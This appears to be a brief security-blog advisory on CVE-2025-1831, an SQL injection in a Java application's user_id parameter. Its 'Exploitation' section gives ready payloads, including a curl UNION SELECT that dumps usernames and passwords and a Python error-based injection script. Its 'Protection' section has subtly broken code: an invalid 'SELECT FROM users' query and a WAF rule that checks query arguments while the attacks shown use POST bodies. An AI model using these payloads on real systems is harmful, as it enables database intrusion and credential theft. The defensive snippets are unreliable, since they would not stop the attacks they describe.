How CVE-2025-1831 Works
The vulnerability exists in the `GetDBUser` function within src/main/java/com/futvan/z/system/zorg/ZorgAction.java. The `user_id` parameter is improperly sanitized, allowing attackers to inject malicious SQL queries. This flaw enables unauthorized database access, potentially leading to data exfiltration, modification, or deletion. The attack can be executed remotely due to insufficient input validation in the application layer. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L) confirms network-based exploitation with low attack complexity.

What Undercode Say:
Exploitation
1. Payload Example:
' OR 1=1; --
2. Curl Command:
curl -X POST 'http://target.com/zorg' -d "user_id=1' UNION SELECT username, password FROM users--"
3. Exploit Script:
import requests
target = "http://vulnerable.com/zorg"
payload = {"user_id": "1' AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT @@version)))--"}
r = requests.post(target, data=payload)
print(r.text)
Protection
1. Input Sanitization:
String user_id = request.getParameter("user_id").replaceAll("[^a-zA-Z0-9]", "");
2. Prepared Statements:
String query = "SELECT FROM users WHERE id = ?"; PreparedStatement stmt = conn.prepareStatement(query); stmt.setString(1, user_id);
3. WAF Rule:
location /zorg {
if ($args ~ "union|select|extractvalue") {
return 403;
}
}
4. Log Monitoring:
grep -E "union|select|--" /var/log/nginx/access.log
Analytics
